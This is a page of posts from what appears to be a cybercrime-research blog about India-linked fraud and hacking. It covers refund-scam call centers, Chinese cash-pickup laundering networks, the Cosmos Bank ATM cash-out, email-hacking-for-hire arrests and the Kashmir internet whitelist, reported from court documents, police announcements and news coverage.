Showing posts with label India. Show all posts
Showing posts with label India. Show all posts

Sunday, September 14, 2025

Indian Call Center Scammers partner with Chinese Money Launderers

 


At the end of August 2025, The US Attorney's office in San Diego announced four indictments against members of a Chinese organized crime ring that stole at least $65 million from thousands of older Americans.  The case was notable because the US Attorney credited two YouTube channels with the leads that led to 25 arrests so far in California, New York, Texas, and Michigan. 

When we see 25 Chinese arrests, it might be tempting to think this is all Chinese Organized Crime, but those who actually watch the videos will realize that's not the case.  The referenced videos are from late 2020 and early 2021 and each started with Scammer Payback (Pierogi) responding to a refund scam.

Indian Call Center operators refer to this type of "lead generation" as "email blasting" and we have tens of thousands of example posts from Facebook groups offering the "service" of sending bogus Microsoft Defender emails, claiming that the victim's credit card is being charged and offering a telephone number to dispute the charge. The ads for this service in Tech Support Facebook groups have been constant for years, including ads as recently as this week: 


A typical "Microsoft Defender Refund" from this time period looked like this: 


We've called dozens of these numbers and they all follow a similar script, they convince the caller to allow remote control to their computer to assist them with the "refund." We often feed a Virtual Machine to the scammers and use it to help us understand what remote control tool they are using and where it is hosted.  But Scammer Payback goes quite a bit further! 

When Pierogi received the numbers from a similar call center scam, he called the number.  His video makes clear that the scammers he was communicating with were speaking Hindi to one another. He not only lets the remote control happen, but he helpfully has a bank account open.  The scammers see the millions of dollars available and can't help themselves.  He is a juicy target!
Scammer Payback: https://www.youtube.com/watch?v=hrLZbc-Rfbo

The scammers have Pierogi type in his own refund amount - but they alter it to make it appear that he typed too many digits resulting in a much larger than intended refund.  Then they demand that he withdraw the difference in cash and ship it back to "them."

Being a very compliant victim, Scammer Payback agrees immediately, taking down the address and agreeing to send the package of cash "overnight delivery." At this point, Pierogi engages the Trilogy media team. Trilogy agrees to take their camera crew to the pick up site to find out who is on the other end of the package. 

Trilogy Media: https://www.youtube.com/watch?v=in_Y5q_-F2Y

But in three out of three cases where Pierogi uses Trilogy to deliver a cash package, the package is being sent to a young Chinese person who is at an Air BNB that has been rented for a very short time period. 

We actually have seen this model in other cases ... in 2022, we write about the case of Jianjie Liu on this blog in a post called "Chinese Call Center Runner Pleads Guilty in Georgia."  


Jianjie Liu did cash pickups for a wide variety of scams, including Grandparent scams, Inheritance scams, and Government Grant Scams.  She was actually arrested in a case involving Walmart Gift Cards that led to the discovery of 718 Gift Cards in her vehicle. In one case almost exactly like those above, Liu was sent a $20,000 Cashier's check after someone processing a $555 refund was accidentally refunded $20,555 and had to send the difference back to the scammers.  The check was made payable to a shell company in Georgia controlled by Liu.

Where do these Chinese agents doing the cash, check, and gift card payment come from? Recently it is one of the most popular "Crime As A Service" offerings from the various Chinese Guarantee Syndicates.  Each of the Guarantee Syndicates has a menu of vendors who have made a large deposit in USDT in order to have the right to sell their services there.  This category is usually called some variation of "Collection Services." 

You may have heard of "Huione Pay" which is generally considered the largest of the Chinese Guarantee Syndicates.  FinCEN took action, with an announcement that "Cambodia-based Huione Pay" is a money laundering concern, and proposing new Rule-making calling them a "Primary Money-Laundering Concern" to combat this type of cybercrime.  After this announcement, Huione migrated most of their vendors over to a former competitor, Tudou Danbao (which means "Potato Guarantee.")

The "Buy and Sell" channel for Potato currently has 130,000 subscribers, while one of their primary channels has 209,000 subscribers.  Category 2 on their vendor menu is "Collection Services" which currently has 656 vendors who have paid deposits between 15,000 USDT and 259,000 USDT to have their services recommended and advertised by the new Guarantee Syndicate.  These are the teams that are offering cash pickup services across the United States.

(findings from non-profit Intelligence for Good)

Many other Guarantee Syndicates have dozens to hundreds of similar vendors in their respective Collection Services vendor category.  Here is a typical ad, boasting of the cities where the vendor maintains teams of workers, ready to pick up packages: 



The US Financial Crimes Enforcement Network (FinCEN) has issued two recent reports about Chinese Money Laundering Networks.  One is an advisory regarding the use of Chinese Money Laundering Networks by drug cartels from Mexico.  The other has detailed analysis on several different models used by Chinese Money Laundering networks.


Several "Red Flags" are shared as advice to Financial Institutions to help them recognize CMLO behaviors that should be reported via Suspicious Activity Reports: 









Sunday, August 10, 2025

Operation Chakra V: Call Center Scammers and your PII

Here we have another cautionary tale about off-shoring customer service when faced with the reality of Call Center Scams that commit fraud via Tech Support Scams and Government Impersonation. In this case, FirstIdea, an Indian company is charged with committing fraud against at least 100 victims from Australia and the UK. 

FirstIdea.us, according to their website, provides Debt Collection services for ADP, Aetna, Aramark, BASF, Bic, CareOne, CostCo, Horizon Blue Cross Blue Shielf, JPMorgan Chase, Kessler, Siemens, Sony, and others.

firstidea.us website "Our Clients" page


India's Central Bureau of Investigation (CBI) recently announced Operation Chakra V, which claims Microsoft Digital Crimes Unit, the US's Federal Bureau of Investigations (FBI), Japan's National Police Agency, and the UK's National Crime Agency (NCA) as partners. The Operation has had many focuses and has been ongoing for several months, including a bust of an Amazon-imitating call center today (10AUG2025).

One of the most significant findings was announced last month, as 37 were arrested with the announcement that 850,000 money mule accounts (8.5 Lakh) had been opened at 743 bank branches. That announcement pointed out a total disregard for KYC (India calls it Customer Due Diligence) and widespread failure to file STRs (Suspicious Transaction Reports.)

While there are dozens of articles that could be written about the successes of Operation Chakhra V, I want to focus on a ring-leader arrested in raids in Noida on July 7th. According to CBI's First Information Report (FIR) (similar to a Criminal Complaint in the US) Nishant Walia, Arjun Prakash, and Arjita Chopra were considered Significant Persons in a fraudulent Call Center operation.

Nishant Walia operated FirstIdea Solutions where Arjun Prakash was listed as a director. Nishant and Arjun were co-directors at several companies, including Marvello Infotech, FirstIdea Solutions, and DroidOne InfoSol.



Whistle-blowers who post on "Scammer.info" share more details and point out that Nishant's other company, Click Aurum, is also worth looking into.  In that chat thread, "Rogger" says they are "running outbound calling in UK, AUS and ask for cancellation and collect money from them. 

https://scammer.info/t/https-www-youtube-com-watch-v-xow1vct-whg/57340

While the date on the Scammer.info post shows Nishant Walia was "in the game" as early as May 2020, a UK court document actually puts the timeline even earlier.  In a case against one Baljinder Singh in a document dated 04JUL2019, we find that "Devine Technical Services Ltd" based in the UK was linked to "an Indian company which purported to provide online technical support for computer users." In that earlier case it is explained "The nature of the fraud was that computer users were made to think that their machines had been infected with viruses or had been subject to hacking and were encouraged to pay for the services of the IT support company."  Mr. Singh was charged with money laundering, receiving payments totaling  £300,188 from victims of the scam and forwarding the proceeds (minus his commission) to Nishant Walia in India. 

https://crimeline.co.uk/wp-content/uploads/2019/09/singh2019ewcacrim1428.pdf


Dozens of Indian media outlets shared the story of Nishant's arrest, calling him a "Key Operative" a "Kingpin" or a "Leader" of a "Cyberfraud syndicate." 


https://www.thehindu.com/news/national/cbi-arrests-key-operative-of-cyber-fraud-syndicate-targeting-uk-and-australian-citizens/article69788011.ece

While Nishant has been arrested by the CBI and charged with running a major fraud call center operation, Arjun Prakash claims to have moved to Hawaiian Gardens, California and began operating as the "Business Owner & Chief Executive Officer" of FirstIdea, sharing the firstidea.us website in his LinkedIn profile, but claiming to have worked their consistently for 9 years and 10 months (since October 2015) making it clear that this is the same organization.

According to business registration documents, Arjun left the company, opening a debt collection service in the US using the domain "firstidea.us" which he registered in 2015 using his personal gmail account (arjunprakash11@gmail.com) and later renewed using the company gmail (firstideasolutionsinc@gmail.com).  Clearly, despite resigning his directorship, Arjun was still part of the company.

linkedin.com/in/aazur (now deleted)

We have seen this pattern repeatedly where a company establishes an off-shore relationship for a business process operation that requires the sharing of #PII, and then operators of that same call center are subsequently accused of running fraudulent call centers.

Tuesday, January 28, 2020

How does a government censor the Internet? A rare peek from Jammu and Kashmir

From time to time we hear that a totalitarian government has locked down Internet access for a part or all of their country.  Normally, that is about all we hear about the situation.  In the case of India, not normally thought of as a Totalitarian government, we have a unique opportunity to look at what they are censoring as they began to relax the total lockout of Internet services that was put into place in Jammu and Kashmir.

The "lift" of total censorship began on January 14th, when Internet Service Providers were ordered to install firewalls that would only allow access to 153 government-approved websites.  As was pointed out by "The Wire", "No Mainstream News in List of 153 Whitelisted Websites Under Kashmir's First Govt Firewall."  TheWire.in noted that "Conspicuously absent from the list that includes Gmail, Netflix, Zomato, Oyo Rooms and Paytm are news and social media websites."

The order from the "Principal Secretary to the Government, Home Department" to the ISPs stated that the Internet shutdown was because "there have been number of reports of the use of internet in cross border terrorism/terror activities, incitement, rumour-mongering, etc. as also misuse of pre-paid mobile connections by anti-national elements."

Internet Order

The total ban of Internet services remained in effect for "the districts of Srinagar, Budgam, Ganderbal, Baramulla, Anantnag, Kulgan, Shopian, and Pulwama.  But for "all the 10 districts of Jammu division and to begin with the revenue districts of Kupwara & Bandipora of the Kashmir Valley" were allowed to have access to the list of 158 websites beginning on January 18th, 2020.  (That list is available via Scribd here:  "Temporary Suspension of Telecom Services"

A week later, the list was amended to include not only many News sites, as TheWire had pointed out, but also a large list of "Utilities" which included movie theaters, car dealerships, shoe sales websites, and pizza delivery services.

The new expanded list is provided below in a searchable form (the original is an image-based scan.)

I would invite others to make relevant observations in the comments sections, or in your own publications linking back to this page.  The list is intended to be a faithful representation of the new order, which can be found on the JK Home Office website as Home-05(TSTS) of 2020.

While the order has been commonly described as containing "300 URLs", there are a handful of duplicates, where a URL was included both with a trailing slash and without the slash.  It should also be noted that there are a very large number of websites included by Top Level Domain, due to the inclusion of the TLDs:  Ac.in (most academic institutions in India will be included here), Gov.in (most government offices and services in India will be included here), and Nic.in (most network infrastructure services from the Ministry of Electronics and Information Technology is included here.)

It is curious how it was decided which websites to include and not to include.  For example, why include Adidas and Reebok, but not Nike?  I'm sure the programmers are thrilled to see that Github and StackOverflow are included!  What other observations strike you as interesting?  Please comment or Tweet about them!


Site NumberWebsite URL Category
1www.google.comSearch Engines
2www.apple.comSearch Engines
3www.office.comSearch Engines
4www.google.com > chromeSearch Engines
5www.google.caSearch Engines
6ca.search.yahoo.comSearch Engines
7search.yahoo.comSearch Engines
8www.live.comSearch Engines
9www.ask.comSearch Engines
10search.msn.comSearch Engines
11www.google.co.ukSearch Engines
12qc.search.yahoo.comSearch Engines
13www.hyundai.comAutomobiles
14www.suzukimotorcycle.co.inAutomobiles
15www.tata.comAutomobiles
16www.marutisuzuki.com/MarutiSuzuki/CarAutomobiles
17www.axisbank.comBanking
18www.hdfc.comBanking
19www.hdfcsec.comBanking
20www.icicibank.comBanking
21www.icicidirect.comBanking
22www.jkbankonline.comBanking
23www.onlinesbi.comBanking
24www.pnbindia.inBanking
25www.bankbazaar.comBanking
26www.moneycontrol.comBanking
27www.paisabazaar.comBanking
28www.paypal.comBanking
29www.policybazaar.comBanking
30www.rbi.org.inBanking
31www.westernunion.comBanking
32jammuuniversity.inEducation
33jkpsc.nic.inEducation
34jkssb.nic.inEducation
35kashmiruniversity.netEducation
36skuastkashmir.ac.inEducation
37www.cukashmir.ac.inEducation
38www.freejobalert.comEducation
39mahendras.orgEducation
40mrunal.orgEducation
41www.bankersadda.comEducation
42www.indianetzone.comEducation
43www.insightsonindia.comEducation
44www.iustlive.comEducation
45www.tcyonline.comEducation
46www.vedantu.comEducation
47www.aakash.ac.inEducation
48www.britannica.comEducation
49www.burnhallschool.ac.inEducation
50www.byjus.comEducation
51www.damsdelhi.comEducation
52www.dpssrinagar.comEducation
53www.elsevier.comEducation
54www.foundationworldschool.comEducation
55www.gdgoenkasrinagar.comEducation
56www.github.comEducation
57www.gktoday.inEducation
58www.ignou.ac.inEducation
59www.indiankanoon.orgEducation
60www.indiaresults.comEducation
61www.islamicuniversity.edu.inEducation
62www.lpu.inEducation
63www.madeeasy.inEducation
64www.mciindia.orgEducation
65www.nature.comEducation
66www.nitsri.ac.inEducation
67www.pathfinderacademy.inEducation
68www.pchssrinagar.comEducation
69www.resonance.ac.inEducation
70www.sciencedirect.comEducation
71www.siu.edu.inEducation
72www.springer.comEducation
73www.ssmengg.edu.inEducation
74www.stackoverflow.comEducation
75www.udemy.comEducation
76www.unacademy.comEducation
77www.wikipedia.orgEducation
78www.naukri.comEmployment
79www.jagranjosh.comEmployment
80www.sail.co.inEmployment
81Airtel TVEntertainment
82Amazon PrimeEntertainment
83HotstarEntertainment
84gaana.comEntertainment
85tatasky.comEntertainment
86tvfplay.comEntertainment
87www.altbalaji.comEntertainment
88www.dishtv.inEntertainment
89www.imdb.comEntertainment
90www.jiosaavn.comEntertainment
91www.spotify.comEntertainment
92wynk.inEntertainment
93NetflixEntertainment
94Sony LivEntertainment
95VootEntertainment
96www.crickbuzz.comEntertainment
97www.espn.inEntertainment
98Zee5Entertainment
99www.google.com > gmailMail
100in.mail.yahoo.comMail
101mail.rediff.comMail
102outlook.live.comMail
103news.statetimes.inMail
104prsindia.orgMail
105www.earlytimes.inEntertainment
106www.kashmirtimes.comNews
107www.kashmiruzma.netNews
108www.risingkashmir.comNews
109www.thenorthlines.comNews
110aajtak.intoday.inNews
111economictimes.indiatimes.comNews
112edition.cnn.comNews
113kashmirage.netNews
114kashmirobserver.netNews
115news.google.comNews
116scroll.inNews
117thekashmirimages.comNews
118theprint.inNews
119theprint.inNewsDUPLICATE
120thewire.inNews
121timesofindia.indiatimes.comNews
122www.aljazeera.comNews
123www.amarujala.comNews
124www.bbc.comNews
125www.business-standard.comNews
126www.channelnewsasia.comNews
127www.dailyexcelsior.comNews
128www.dailypioneer.comNews
129www.deccanchronicle.comNews
130www.epw.inNews
131www.financialexpress.comNews
132www.financialexpress.com NewsDUPLICATE
133www.forbes.comNews
134www.greaterkashmir.comNews
135www.hindustantimes.comNews
136www.jagran.comNews
137www.livemint.comNews
138www.mid-day.comNews
139www.moneycontrol.comNews
140www.moneycontrol.comNewsDUPLICATE
141www.ndtv.comNews
142www.newindianexpress.comNews
143www.news18.comNews
144www.nytimes.comNews
145www.outlookindia.comNews
146www.outlookindia.comNewsDUPLICATE
147www.presstv.comNews
148www.presstv.comNewsDUPLICATE
149www.republicworld.comNews
150www.scoopwhoop.comNews
151www.telegraphindia.comNews
152www.theguardian.comNews
153www.thehindu.comNews
154www.thehindubusinessline.comNews
155www.thekashmirmonitor.netNews
156www.thelallantop.comNews
157www.thequint.comNews
158www.timesnownews.comNews
159www.tribuneindia.comNews
160www.washingtonpost.comNews
161www.wionews.comNews
162www.wsj.comNews
163www.amnesty.orgNGOs
164www.fordfoundation.orgNGOs
165www.helpageindia.orgNGOs
166www.savethechildren.inNGOs
167www.smilefoundationindia.orgNGOs
168Ac.inServices
169Gov.inServices
170www.incometaxindiaefiling.gov.inServices
171www.jkpolice.gov.inServices
172www.passportindia.gov.inServices
173www.services.gst.gov.inServices
174enps.nsdl.comServices
175uidai.gov.inServices
176nic.inServices
177www.gmcs.edu.inServices
178www.lalpathlabs.comServices
179www.shifamedcenter.comServices
180www.skims.ac.inServices
181geekyranjit.comTechnology Updates
182overdrive.inTechnology Updates
183beebom.comTechnology Updates
184www.androidauthority.comTechnology Updates
185www.autocarindia.comTechnology Updates
186www.carwale.comTechnology Updates
187www.cnet.comTechnology Updates
188www.digit.inTechnology Updates
189www.engadget.comTechnology Updates
190www.gsmarena.comTechnology Updates
191www.pcmag.comTechnology Updates
192www.techradar.comTechnology Updates
193www.theverge.comTechnology Updates
194www.zigwheels.comTechnology Updates
195www.cleartrip.comTravel
196www.goibibo.comTravel
197www.irctc.co.inTravel
198www.makemytrip.comTravel
199www.yatra.comTravel
200www.airindia.comTravel
201www.cleartrip.comTravel
202www.easemytrip.comTravel
203www.flightstats.comTravel
204www.hajcommitee.gov.inTravelTYPO
205www.iismgulmarg.inTravel
206www.incredibleindia.orgTravel
207www.ixigo.comTravel
208www.jktourism.orgTravel
209www.oyorooms.comTravel
210www.pawanhans.co.inTravel
211www.redbus.inTravel
212www.shriamarnathjishrine.comTravel
213www.trivago.comTravel
214www.trivago.in Travel
215jakemp.nic.inUtilities
216www.jabong.comUtilities
217billsahuliyat.jkpdd.netUtilities
218earth.google.comUtilities
219www.airtel.inUtilities
220www.amazon.inUtilities
221www.bhimupi.org.inUtilities
222www.flipkart.comUtilities
223www.healthkart.comUtilities
224www.myntra.comUtilities
225www.netmeds.comUtilities
226www.paytmbank.comUtilities
227JIO chatUtilities
228www.99acres.comUtilities
229www.airtel.inUtilitiesDUPLICATE
230www.bharatpetroleum.comUtilities
231www.bluedart.comUtilities
232www.bsnl.co.inUtilities
233www.cardekho.comUtilities
234www.dtdc.inUtilities
235www.ebharatgas.comUtilities
236www.fedex.comUtilities
237www.firstflight.netUtilities
238www.freecharge.inUtilities
239www.gaadiwaadi.comUtilities
240www.gati.comUtilities
241www.indane.co.inUtilities
242www.indiamart.comUtilities
243www.jio.com Utilities
244www.jkhandicrafts.comUtilities
245www.jkpdd.gov.inUtilities
246www.jkpwdrb.nic.inUtilities
247www.justdial.comUtilities
248www.magicbricks.comUtilities
249www.myhpgas.inUtilities
250www.olx.inUtilities
251www.pharmeasy.inUtilities
252www.quikr.comUtilities
253www.sulekha.comUtilities
254www.tbmes.orgUtilities
255www.vodafone.inUtilities
256www.zomato.comUtilities
257cleartax.inUtilities
258in.bookmyshow.comUtilities
259keep.google.comUtilities
260lens.google.comUtilities
261oppo-inUtilities
262support.google.comUtilities
263support.microsoft.comUtilities
264translate.google.co.inUtilities
265vimeo.comUtilities
266wikimapia.orgUtilities
267www.adidas.co.inUtilities
268www.ajio.comUtilities
269www.aliexpress.comUtilities
270www.bajaauto.comUtilities
271www.bing.comUtilities
272www.decathlon.inUtilities
273www.dell.comUtilities
274www.dominos.co.inUtilities
275www.fabindia.comUtilities
276www.gingerlabs.comUtilities
277www.heromotocorpo.com/en-in/Utilities
278www.houzz.inUtilities
279www.indeed.co.inUtilities
280www.india.ford.comUtilities
281www.indiamart.comUtilities
282www.jeep-india.comUtilities
283www.kia.comUtilities
284www.kinemaster.comUtilities
285www.lenovo.comUtilities
286www.lenskart.comUtilities
287www.office.comUtilitiesDUPLICATE
288www.pizzahut.co.inUtilities
289www.pvrcinemas.comUtilities
290www.quora.comUtilities
291www.reebok.comUtilities
292www.shopclues.comUtilities
293www.swiggy.comUtilities
294www.tatamotors.comUtilities
295www.toyotabharat.comUtilities
296www.upwork.comUtilities
297www.wavecinemas.comUtilities
298www.upwork.comUtilitiesDUPLICATE
299www.zomato.comUtilities
300www8.hp.comUtilities
301www.accuweather.comUtilities

Saturday, December 22, 2018

126 Arrests: The Emergence of India's Cyber Crime Detectives Fighting Call Center Scams

The Times of India reports that police have raided a call center in Noida Sector 63 where hundreds of fraud calls were placed every day to Americans and Canadians resulting in the theft of $50,000 per day.

 The scammers had rented four floors of a building being operated by two scammers from Gurgaon, Narendra Pahuja and Jimmy Ashija. Their boss, who was not named by the police, allegedly operates at least five call centers. In the raid this week, 126 employees were arrested and police seized 312 workstations, as well as Rs 20 lakh in cash (about $28,500 USD).

Times of India photo 


Noida police have been cooperating very well with international authorities, as well as Microsoft, leading to more than 200 people arrested in Noida and "scores" of fake call centers shut down, including four in Sector 63.  (In a case just last month, another call center was said to have stolen from 300 victims, after using online job sites Shine.com and VintechJobs.com to recruit young money seekers by having them work conducting the scams. )

In the current scam, callers already had possession of the victim's Social Security Number and full name.  This information was used to add authority to their request, which got really shady really fast.  The victim was instructed to purchase Apple iTunes Gift Cards, or Google Play Gift Cards, scratch the numbers, and read them to the call center employee.  The money was laundered through a variety of businesses in China and India before cashing out to bank accounts belonging to Pahuja and Ashija.

 Go to Tweet
Noida police are advancing in their Cyber Crime skills!

As more and more cyber crime enterprises spring up in India, the assistance of their new Centers for Cyber Crime Investigation thtat are becoming more critical to stopping fraud against Americans:

We applaud the Center for Cyber Crime Investigation in Noida


The US Embassy was quick to acknowledge the support of the newest cyber crime partners of the United States after their action at the end of November:

US Embassy to India thanks the Noida and Gurgaon Police for their help!
Another recent Times of India story from November 30, 2018, "Bogus Call Centres and Pop-up Virus Alerts - a Global Cyber Con Spun up in NCR" [NCR = National Capital Region] had more details of this trend, including this graphic:


That's at least 50 call centers shutdown just in these two regions, but with this weeks' 126 arrests being the culmination of an on-going investigation, receiving data from both the FBI and Microsoft.

Local news of India reported the names of some of the gang members held in the November 29-30th action in their story नोएडा: बड़ी कंपनियों में नौकरी दिलाने के नाम पर करते थे धोखाधड़ी, 8 गिरफ्तार (Noida: Fraud, 8 arrested for giving fake jobs in the name of big companies).

Sontosh Gupta, who was the ring leader, was previously employed by an online job site, but then created his own site,  vintechjobs (dot) com, which he used to attract call center employees, many of whom were duped into serving as his scammer army without ever being compensated for their work!

Others arrested then included Mohan Kumar, Paritosh Kumar, Jitendra Kumar, Victor, Himanshu, Ashish Jawla, and Jaswinder.

During that same two day raid, police swept through at least sixteen other call centers, according to this New York Times story, "That Virus Alert on Your Computer? Scammers in India May Be Behind It"
Ajay Pal Sharma, the senior superintendent of police, told the NYT that 50 of his officers swept through eight different call centers in Gautam Budh Nagar as part of the case.  Microsoft's Digital Crimes Unit told the Times that with 1.2 million people generating $28 Billion in India working for call centers, it isn't hard to disguise the shady callers among the legitimate businesses.

The problem is not unique to Delhi and the National Capital Region suburbs that are the current focus.  Back in July, Mumbai was in the headlines, as a massive IRS-imitating Call Center ring was broken up with the help of more great cyber crime investigators from India:

Madan Ballal, Thane Crime Branch, outside Mumbai
Police Inspector Madan Ballal had his story told as the focus of an article in Narratively, "This Indian Cop Took Down a Massive IRS Call-Center Scam".

Much more investigating and arresting needs to be done, but it is a great sign that the problem is now receiving help from an emerging new generation of Indian Cybercrime Detectives!



Monday, September 03, 2018

India's Cosmos Bank Suffers Unlimited ATM Attack

On August 10th, many American Financial Institutions received a warning from the FBI that the Bureau had found evidence that criminals were plotting an "Unlimited Operation."  We've written about these Unlimited Attacks a number of times in the past in this blog, but this is the first time that we know of where the FBI announced the attack before hand.  In these attacks, hackers compromise the internal systems of a bank and gain control of systems that allow them to bypass or reset ATM withdrawal limits.  Then, the magnetic stripe information for a selected number of cards is shared with trusted cash-out gangs around the world, who make physical ATM cards with the stripe information encoded and stand by for the pre-arranged attack to begin.  Once zero-hour arrives, hundreds of cash-out gang members begin draining every ATM machine they can find.  Literally emptying the machines, with the balance available for withdrawal being magically reset in real time by the hackers inside the systems of the targeted bank.

The most famous Unlimited Attack was also one of the earliest, when $9 Million in cash was withdrawn from at least 2100 ATM machines in 280 cities around the world on November 7th and 8th, 2008 in the RBS WorldPay attack.  That was far surpassed in 2013, when cash-out gangs in 26 Countries stole $40M.  More recently, Standard Bank was victimized in the first Japanese Unlimited Attack in 2016, involving at least 14,000 "maximum" ATM withdrawals.

In this case, the FBI's prediction came true almost immediately, even before our favorite security journalist, Brian Krebs, was able to get his story out: FBI Warns of Unlimited ATM Cashout Blitz.

The Times of India reported on August 14th "How hackers siphoned over Rs 94 crore off a co-operative bank in Pune", revealing that the 112 year old Cosmos Bank was the target of the attack.  During this attack hackers were able to cause the ATM Network to approve "Rupay" transactions by validating the requests against a fake payment gateway controlled by the hackers.  In 2.5 hours, from 3 pm to 5:30 pm, 12,000 Visa card transactions withdrew Rs 78 crore (approximately $10.9 Million USD) before Cosmos Bank terminated all ATM Visa Transactions, however Rupay transactions continued until at least 10PM.  RuPay is an India-only card system designed to allow national payments in India without reliance on Visa and Mastercard.  2,890 India-based RuPay transactions totaled an additional Rs 2.5 crore ($351,500 USD).  In addition to the ATM damages, on August 13th, the same hackers wired Rs 13.94 crore (almost $2M  USD) to Hong Kong via a fraudulent SWIFT transfer.  (Three separate MT103 transactions were sent to ALM Trading Limited at Hang Seng Bank in Hong Kong, according to Securonix analysis of the event.  Securonix believes the behavior of the attackers is consistent with the North Korean based APT group known as "Lazarus Group".  MITRE's ATT&CK program (Adversarial Tactics, Techniques & Common Knowledge) provides more information on the Lazarus Group.

As with many previous Unlimited attacks, Cosmos Bank chairman Milind Kale said that no customer accounts were impacted, as these were "dummy" accounts that were established for the attack.  If this attack is like historical ones, many of the follow-up arrests will come from using ATM video footage to identify individual cash-out gangs and try to follow their communications back to the criminals who recruited them for the scheme.



Saturday, January 25, 2014

Unprecedented International Cybercrime Cooperation Nabs Email Hackers

Email Hacking in China, India, Romania

Yesterday we tweeted asking for more information on a statement we found in India's press regarding an email hacker charged in Pune. The article I sited, Pune techie held after FBI alert on hacking racket, reported:
The CBI on Friday arrested a 32-year-old techie from Pune after a tip-off from the Federal Bureau of Investigation (FBI) about a racket involving hacking of 900 e-mail accounts belonging to people from across the world, including Americans and Indians. [...] Following the FBI tip-off, the CBI carried out raids in Ghaziabad, Mumbai and Pune during which several professional hackers were rounded up. Tiwari was arrested and taken on transit remand to Delhi by the CBI team. His computers and other gadgets were seized. According to the CBI, the e-mail accounts of 171 Indians and more than 700 foreign nationals, including Americans, had been hacked. [...] The agency said the raids were part of a coordinated action involving the agencies of China, Romania, the US and India. This was the first time the CBI had tied up with international investigation agencies to launch an operation against cyber crime in India.
We were so pleased to learn of the CBI's Cooperation with the FBI on it's first Cybercrime coordinated effort, but were left puzzling over the statement about coordinated raids in India, Romania, China, and the US.

The confusion was over the fact that the FBI had decided to not unseal the cases in the US related to these crimes until they received confirmation from their peers in India, Romania, and China that the others involved in the case had been successfully arrested. Once that was concluded, we were able to find the original announcement, January 24, 2014, from the US Attorney's Office in the Central District of California, International Law Enforcement Efforts Result in Charges Around the World Against Operators and Customers of E-Mail Hacking Websites.

  • Mark Anthony Townsend, 45, of Cedarville Arkansas and
  • Joshua Alan Tabor, 29, of Prairie Grove Arkansas were charged with a felony violation for running "needpassword.com". Customers of their service would provide an email account and make payment via PayPal once the email password was obtained. More than 6,000 email accounts were hacked during this scheme.
    Three additional US persons were charged, but these were charged with the lesser misdemeanor charges related to hiring a hacker (as opposed to the two above, who did the hacking themselves):
  • John Ross Jesensky, 30, of Northridge, California, paid $21,675 to a Chinese website to obtain email account passwords.
  • Laith Nona, 31, of Troy, Michigan, paid $1,081 to obtain email account passwords.
  • Arthur Drake, 55, of Bronx, New York, paid $1,011 to get email account passwords.

The Romanian DCCO (Direcţiei de Combatere a Criminalităţii Organizate or Directorate for Combating Organized Crime) part of the DIICOT, searched the residences and arrested four individuals associated with the hacker for hire websites:

  • zhackgroup.com
  • spyhackgroup.com
  • rajahackers.com
  • clickhack.com
  • ghostgroup.org (since at least September 2006!)
  • e-mail-hackers.com






Romanian Email hacker, Guccifer

The Romanians report that these individuals broke into at least 1600 email accounts between February 2011 and October 2012.

Based so far only on the coincidence of timing, this blogger believes that this was the notorious "Guccifer" or Marcel Lazar Lehel, who was previously charged with a suspended sentence of three years (February 8, 2012) for hacking into email accounts belonging to SRI director George Maior, former US state secretary Colin Powell, members of Bush and Rockefeller families and officials of the Obama administration. See for example the January 22, 2014 story in Romania's Nine O'Clock news, "Hacker 'Gucifer' caught in Arad" -- www.nineoclock.ro/hacker-“guccifer”-caught-in-arad/. In another story from digi24.ro (via Google Translation) it says:

[In addition to] SRI boss George Major, George Bush, and Colin Powell, Other victims of 'Guccifer' were actor Steve Martin, John Dean, former advisor to President Richard Nixon, actress Mariel Hemingway, three members of the House of Lords in the UK, Laura Manning Johnson, a former CIA analyst, George Roche was Secretary of the Air Force, and President MetLife (insurance company).
. In the earlier charges that resulted in the suspended sentence, Guccifer was charged with accessing and making public photos from the Facebook pages and email accounts of many public officials in Romania as well.


Indian Email hacker, Amit Tiwari

The Central Bureau of Investigation in India arrested Amit Tiwari (who had previously been arrested for Credit Card Fraud) for operating the websites www.hirehacker.net and www.anonymiti.com, who hacked at least 935 e-mail accounts between February 2011 and February 2013.

HireHacker's homepage
HireHacker.net was a prolific advertiser of their services since 2007, creating many "blogs" (such as freelancehackers.wordpress.com) and posting questions on places like Yahoo Answers like "Can the Famous Internet Detectives at HireHacker.net really recover my cheating spouses email password?"


Chinese Email hacker, Ying Liu

The Ministry of Public Safety in China arrested Ying Liu (劉颖), AKA Brent Liu, for operating the website HireToHack.net. Liu was shown to have broken into at least 300 email accounts between January 2012 and March 2013.

Liu's website had it's fifteen minutes of fame when it was featured in NYMag's story Hiring Hackers is Super Cheap. In that story from January 2012, two Kuwaiti brothers, Bassam Alghanim being the billionaire of the two, hired some Chinese hackers "for the price of a really good dinner" to break into his brother's email account. That story indicated that the hackers earned $200,000 in thirteen months by breaking into accounts. The story was also covered in the Wall Street Journal (which also has a video from Cassell Bryan-Low about the case), where the actual hacking may have been via Invisible Hacking Group instead.

Ying Liu hosted his website, hiretohack.net, on the notorious Malaysian hosting platform, Piradius.net. Here are some screen shots of HireToHack.net that show how their system worked:

Homepage
Menu of Services
Order Placement
This is such an amazing demonstration of international cooperation! I know I already said so, but for India's CBI, China's MPS, Romania's DCCO, and the FBI to cooperate together on a single case is without precedence! A great sign towards a bad future for cyber criminals!

Friday, December 13, 2013

Indian Banks targeted in multi-brand Phishing Attack

Malcovery Security's PhishIQ portal is a fascinating place to explore. This week I did a "Security Year in Review" webinar for an audience of our customers and friends which was so much fun to prepare! (We recorded the webinar for those who missed it - you can watch the recording here: State of Cybersecurity 2013/2014. We reviewed the top security events of 2013, including some of the biggest hacks, the most prominent malware trends, and the successes that our security community - researchers, security companies, and law enforcement - had in responding to these challenges. I also shared my Ten Security Predictions for 2014. I've posted those to the LinkedIn group Enterprise Security Intelligence & Big Data and would love to hear your thoughts on them. Please consider joining our group and the conversation!

Malcovery Security 2014 Prediction #9: Phishing will hit hard in the emerging online banking markets in India and China

This prediction is based on a few things. The criminals in the phishing world are international. Although most phishing victims continue to be in the United States at the present time, the reason for this is the widespread availability of high-speed Internet and the prominence of Online Banking. As China and India, who between them represent 36.5% of the world population, increasingly embrace online banking the criminals of the world will turn their eyes to this population who is now banking online, but who does not have decades of experience with Internet Safety issues leading up to them. I've already received some questions about this prediction, so I thought I would share some feedback on this one by showing some of the visibility we have in PhishIQ to the issue.

The basic work, unfortunately, has already been done for preparing to attack the Indian banks. Phishing kits exist and are in circulation for at least forty Indian banks that we have seen at Malcovery just during the previous month!

